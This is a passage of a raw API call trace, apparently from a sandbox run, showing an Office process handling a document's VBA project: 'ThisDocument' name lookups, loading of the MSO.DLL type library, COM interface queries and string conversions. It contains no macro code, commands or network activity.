CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x265960, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0017.363] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0017.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265b70, cbMultiByte=-1, lpWideCharStr=0x2659d0, cchWideChar=13 | out: lpWideCharStr="ThisDocument") returned 13 [0017.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x265620, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0017.363] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0017.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x265750, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0017.363] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0017.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x265610, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0017.363] CoCreateGuid (in: pguid=0x2653f8 | out: pguid=0x2653f8*(Data1=0xc0bc0b9, Data2=0xdbf4, Data3=0x47b0, Data4=([0]=0x8a, [1]=0x1b, [2]=0x6d, [3]=0x68, [4]=0xe5, [5]=0x65, [6]=0xd7, [7]=0x92))) returned 0x0 [0017.363] CoCreateGuid (in: pguid=0x2653e8 | out: pguid=0x2653e8*(Data1=0xd9bdb6f8, Data2=0x593c, Data3=0x4bde, Data4=([0]=0xba, [1]=0xcf, [2]=0x98, [3]=0xad, [4]=0x79, [5]=0x12, [6]=0x8b, [7]=0xd9))) returned 0x0 [0017.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x265410, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0017.363] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0017.363] GetLocalTime (in: lpSystemTime=0x2652e0 | out: lpSystemTime=0x2652e0*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x2, wDay=0x16, wHour=0x1, wMinute=0x22, wSecond=0x0, wMilliseconds=0x170)) [0017.363] _ultow_s (in: _Value=0x5b6e3d08, _Buffer=0x7497874, _BufferCount=0x9, _Radix=16 | out: _Buffer="5b6e3d08") returned 0x0 [0017.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="025b6e3d08", cchWideChar=11, lpMultiByteStr=0x265290, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="025b6e3d08", lpUsedDefaultChar=0x0) returned 11 [0017.364] strcpy_s (in: _Dst=0x6f2ade0, _DstSize=0xd, _Src="ThisDocument" | out: _Dst="ThisDocument") returned 0x0 [0017.364] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0017.364] wcscpy_s (in: _Destination=0x7497888, _SizeInWords=0xd, _Source="ThisDocument" | out: _Destination="ThisDocument") returned 0x0 [0017.364] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0017.364] wcscpy_s (in: _Destination=0x74978a8, _SizeInWords=0xd, _Source="ThisDocument" | out: _Destination="ThisDocument") returned 0x0 [0017.364] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0017.364] wcsncpy_s (in: _Destination=0x265320, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0017.364] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0017.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x265240, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0017.364] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0017.364] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0017.364] strcpy_s (in: _Dst=0x2654e0, _DstSize=0xa, _Src="_Evaluate" | out: _Dst="_Evaluate") returned 0x0 [0017.364] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2654e0, cbMultiByte=10, lpWideCharStr=0x265340, cchWideChar=10 | out: lpWideCharStr="_Evaluate") returned 10 [0017.364] IUnknown:AddRef (This=0x72d9b00) returned 0x3 [0017.364] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x265498, pBstrLibName=0x265340 | out: pfName=0x265498*=0, pBstrLibName=0x265340) returned 0x0 [0017.364] IUnknown:Release (This=0x72d9b00) returned 0x2 [0017.364] IUnknown:AddRef (This=0x6f64030) returned 0x5 [0017.364] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x265498, pBstrLibName=0x265340 | out: pfName=0x265498*=0, pBstrLibName=0x265340) returned 0x0 [0017.364] IUnknown:Release (This=0x6f64030) returned 0x4 [0017.364] IUnknown:AddRef (This=0x72d9dd0) returned 0x4 [0017.364] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x265498, pBstrLibName=0x265340 | out: pfName=0x265498*=0, pBstrLibName=0x265340) returned 0x0 [0017.364] IUnknown:Release (This=0x72d9dd0) returned 0x3 [0017.365] IUnknown:QueryInterface (in: This=0x6fae300, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265748 | out: ppvObject=0x265748*=0x0) returned 0x80004002 [0017.365] IUnknown:QueryInterface (in: This=0x6fae300, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2657c0 | out: ppvObject=0x2657c0*=0x0) returned 0x80004002 [0017.365] IUnknown:QueryInterface (in: This=0x6fae300, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265730 | out: ppvObject=0x265730*=0x0) returned 0x80004002 [0017.365] IUnknown:QueryInterface (in: This=0x6fae300, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2657b0 | out: ppvObject=0x2657b0*=0x0) returned 0x80004002 [0017.365] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae300, ppTypeAttr=0x265738, pDummy=0x10 | out: ppTypeAttr=0x265738, pDummy=0x10) returned 0x0 [0017.365] ITypeInfo:LocalReleaseTypeAttr (This=0x6fae300) returned 0x0 [0017.365] IUnknown:AddRef (This=0x6fae300) returned 0x2 [0017.365] IUnknown:QueryInterface (in: This=0x6fae3b0, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265748 | out: ppvObject=0x265748*=0x0) returned 0x80004002 [0017.365] IUnknown:QueryInterface (in: This=0x6fae3b0, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2657c0 | out: ppvObject=0x2657c0*=0x0) returned 0x80004002 [0017.365] IUnknown:QueryInterface (in: This=0x6fae3b0, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265730 | out: ppvObject=0x265730*=0x0) returned 0x80004002 [0017.365] IUnknown:QueryInterface (in: This=0x6fae3b0, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2657b0 | out: ppvObject=0x2657b0*=0x0) returned 0x80004002 [0017.366] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae3b0, ppTypeAttr=0x265738, pDummy=0x10 | out: ppTypeAttr=0x265738, pDummy=0x10) returned 0x0 [0017.366] ITypeInfo:LocalReleaseTypeAttr (This=0x6fae3b0) returned 0x0 [0017.366] IUnknown:AddRef (This=0x6fae3b0) returned 0x2 [0017.366] IUnknown:QueryInterface (in: This=0x6fae250, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265748 | out: ppvObject=0x265748*=0x0) returned 0x80004002 [0017.366] IUnknown:QueryInterface (in: This=0x6fae250, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2657c0 | out: ppvObject=0x2657c0*=0x0) returned 0x80004002 [0017.366] IUnknown:QueryInterface (in: This=0x6fae250, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265730 | out: ppvObject=0x265730*=0x0) returned 0x80004002 [0017.366] IUnknown:QueryInterface (in: This=0x6fae250, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2657b0 | out: ppvObject=0x2657b0*=0x0) returned 0x80004002 [0017.366] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae250, ppTypeAttr=0x265738, pDummy=0x10 | out: ppTypeAttr=0x265738, pDummy=0x10) returned 0x0 [0017.366] ITypeInfo:LocalReleaseTypeAttr (This=0x6fae250) returned 0x0 [0017.366] IUnknown:AddRef (This=0x6fae250) returned 0x2 [0017.366] wcsncpy_s (in: _Destination=0x265400, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0017.366] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0017.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x265320, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0017.366] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0017.366] CExposedDocFile::CreateStream () returned 0x0 [0017.366] CExposedStream::AddRef () returned 0x2 [0017.366] CExposedStream::Release () returned 0x1 [0017.366] CExposedStream::Release () returned 0x0 [0017.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265b70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0017.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265b70, cbMultiByte=-1, lpWideCharStr=0x73c9498, cchWideChar=13 | out: lpWideCharStr="ThisDocument") returned 13 [0017.380] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL", pptlib=0x265910*=0x0 | out: pptlib=0x265910*=0x7479720) returned 0x0 [0017.380] ITypeLib:RemoteGetDocumentation (in: This=0x7479720, index=-1, refPtrFlags=0x265920, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa8 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa8) returned 0x0 [0017.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x265800, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0017.380] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Office") returned 0x107515 [0017.380] GetLocalTime (in: lpSystemTime=0x2656b0 | out: lpSystemTime=0x2656b0*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x2, wDay=0x16, wHour=0x1, wMinute=0x22, wSecond=0x0, wMilliseconds=0x17f)) [0017.381] wcsncpy_s (in: _Destination=0x265390, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0017.381] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0017.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x2652b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0017.381] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0017.381] IUnknown:QueryInterface (in: This=0x7479720, riid=0x7fef41c6750*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265730 | out: ppvObject=0x265730*=0x0) returned 0x80004002 [0017.381] ITypeLib:RemoteGetLibAttr (in: This=0x7479720, ppTLibAttr=0x265728, pDummy=0x10 | out: ppTLibAttr=0x265728, pDummy=0x10) returned 0x0 [0017.381] ITypeLib:RemoteGetDocumentation (in: This=0x7479720, index=-1, refPtrFlags=0x0, pbstrName=0x265720, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1 | out: pbstrName=0x265720*="Microsoft Office 15.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1) returned 0x0 [0017.381] StringFromGUID2 (in: rguid=0x737a3b0*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52)), lpsz=0x265740, cchMax=39 | out: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 39 [0017.381] _ultow_s (in: _Value=0x2, _Buffer=0x265662, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0017.381] _ultow_s (in: _Value=0x7, _Buffer=0x265666, _BufferCount=0xe, _Radix=16 | out: _Buffer="7") returned 0x0 [0017.381] _ultow_s (in: _Value=0x0, _Buffer=0x26566a, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0017.381] wcscpy_s (in: _Destination=0x743eeb8, _SizeInWords=0x95, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0017.381] wcscpy_s (in: _Destination=0x743eebe, _SizeInWords=0x92, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0017.381] wcscpy_s (in: _Destination=0x743ef0a, _SizeInWords=0x6c, _Source="#2.7#0#" | out: _Destination="#2.7#0#") returned 0x0 [0017.381] wcscpy_s (in: _Destination=0x743ef18, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL") returned 0x0 [0017.381] wcscpy_s (in: _Destination=0x743ef98, _SizeInWords=0x25, _Source="Microsoft Office 15.0 Object Library" | out: _Destination="Microsoft Office 15.0 Object Library") returned 0x0 [0017.381] ITypeLib:LocalReleaseTLibAttr (This=0x7479720) returned 0x0 [0017.381] wcscpy_s (in: _Destination=0x74978c8, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library") returned 0x0 [0017.381] ITypeLib:RemoteGetDocumentation (in: This=0x7479720, index=-1, refPtrFlags=0x265838, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x656300000001 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x656300000001) returned 0x0 [0017.381] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Office") returned 0x107515 [0017.381] strcpy_s (in: _Dst=0x265650, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0017.381] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265650, cbMultiByte=7, lpWideCharStr=0x2654b0, cchWideChar=7 | out: lpWideCharStr="Office") returned 7 [0017.381] IUnknown:AddRef (This=0x72d9b00) returned 0x3 [0017.381] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="Office", lHashVal=0x107515, pfName=0x265608, pBstrLibName=0x2654b0 | out: pfName=0x265608*=0, pBstrLibName=0x2654b0) returned 0x0 [0017.381] IUnknown:Release (This=0x72d9b00) returned 0x2 [0017.381] IUnknown:AddRef (This=0x6f64030) returned 0x7 [0017.381] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="Office", lHashVal=0x107515, pfName=0x265608, pBstrLibName=0x2654b0 | out: pfName=0x265608*=0, pBstrLibName=0x2654b0) returned 0x0 [0017.381] IUnknown:Release (This=0x6f64030) returned 0x6 [0017.381] IUnknown:AddRef (This=0x72d9dd0) returned 0x4 [0017.381] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="Office", lHashVal=0x107515, pfName=0x265608, pBstrLibName=0x2654b0 | out: pfName=0x265608*=0, pBstrLibName=0x2654b0) returned 0x0 [0017.381] IUnknown:Release (This=0x72d9dd0) returned 0x3 [0017.381] wcsncpy_s (in: _Destination=0x2654d0, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library") returned 0x0 [0017.381] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.7#0#c:\\program files\\common files\\microsoft shared\\office15\\mso.dll#microsoft office 15.0 object library") returned 0x94 [0017.381] IMalloc:Alloc (This=0x7fefefb5380, cb=0x12a) returned 0x74c37d0 [0017.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.7#0#c:\\program files\\common files\\microsoft shared\\office15\\mso.dll#microsoft office 15.0 object library", cchWideChar=149, lpMultiByteStr=0x74c37d0, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.7#0#c:\\program files\\common files\\microsoft shared\\office15\\mso.dll#microsoft office 15.0 object library", lpUsedDefaultChar=0x0) returned 149 [0017.381] IMalloc:Free (This=0x7fefefb5380, pv=0x74c37d0) [0017.381] wcscpy_s (in: _Destination=0x7498ac8, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library") returned 0x0 [0017.382] wcsncpy_s (in: _Destination=0x265500, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library") returned 0x0 [0017.382] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.7#0#c:\\program files\\common files\\microsoft shared\\office15\\mso.dll#microsoft office 15.0 object library") returned 0x94 [0017.382] IMalloc:Alloc (This=0x7fefefb5380, cb=0x12a) returned 0x74c37d0 [0017.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.7#0#c:\\program files\\common files\\microsoft shared\\office15\\mso.dll#microsoft office 15.0 object library", cchWideChar=149, lpMultiByteStr=0x74c37d0, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.7#0#c:\\program files\\common files\\microsoft shared\\office15\\mso.dll#microsoft office 15.0 object library", lpUsedDefaultChar=0x0) returned 149 [0017.382] IMalloc:Free (This=0x7fefefb5380, pv=0x74c37d0) [0017.382] wcsncpy_s (in: _Destination=0x2654d0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0017.382] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0017.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x2653f0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0017.382] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0017.382] IUnknown:AddRef (This=0x7479720) returned 0x3 [0017.382] IUnknown:QueryInterface (in: This=0x7479720, riid=0x7fef41cd2c8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265850 | out: ppvObject=0x265850*=0x0) returned 0x80004002 [0017.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x2657f0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0017.382] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Office") returned 0x107515 [0017.382] IUnknown:Release (This=0x7479720) returned 0x2 [0017.382] SysStringByteLen (bstr="潎浲污") returned 0x6 [0017.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0017.382] SysStringByteLen (bstr="潎浲污") returned 0x6 [0017.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=7, lpWideCharStr=0x737a028, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0017.383] IUnknown:QueryInterface (in: This=0x6fae300, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265c20 | out: ppvObject=0x265c20*=0x0) returned 0x80004002 [0017.383] IUnknown:AddRef (This=0x6fae300) returned 0x3 [0017.383] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae300, ppTypeAttr=0x265b98, pDummy=0x10 | out: ppTypeAttr=0x265b98, pDummy=0x10) returned 0x0 [0017.383] ITypeInfo:LocalReleaseTypeAttr (This=0x6fae300) returned 0x0 [0017.383] IUnknown:Release (This=0x6fae300) returned 0x2 [0017.383] IUnknown:Release (This=0x6fae300) returned 0x1 [0017.383] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae3b0, ppTypeAttr=0x265b68, pDummy=0x0 | out: ppTypeAttr=0x265b68, pDummy=0x0) returned 0x0 [0017.383] ITypeInfo:LocalReleaseTypeAttr (This=0x6fae3b0) returned 0x0 [0017.383] IUnknown:Release (This=0x6fae3b0) returned 0x1 [0017.384] LoadRegTypeLib (in: rguid=0x747f990*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), wVerMajor=0x2, wVerMinor=0x0, lcid=0x0, pptlib=0x265020*=0x0 | out: pptlib=0x265020*=0x72d9dd0) returned 0x0 [0017.385] ITypeLib:RemoteGetLibAttr (in: This=0x72d9dd0, ppTLibAttr=0x265028, pDummy=0x0 | out: ppTLibAttr=0x265028, pDummy=0x0) returned 0x0 [0017.385] ITypeLib:LocalReleaseTLibAttr (This=0x72d9dd0) returned 0x0 [0017.386] wcsncpy_s (in: _Destination=0x2642e0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0017.386] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0017.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x264200, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0017.386] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0017.387] longjmp () [0017.390] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x265040, cchData=6 | out: lpLCData="1252") returned 5 [0017.390] atoi (_Str="1252") returned 1252 [0017.390] GetLocalTime (in: lpSystemTime=0x265030 | out: lpSystemTime=0x265030*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x2, wDay=0x16, wHour=0x1, wMinute=0x22, wSecond=0x0, 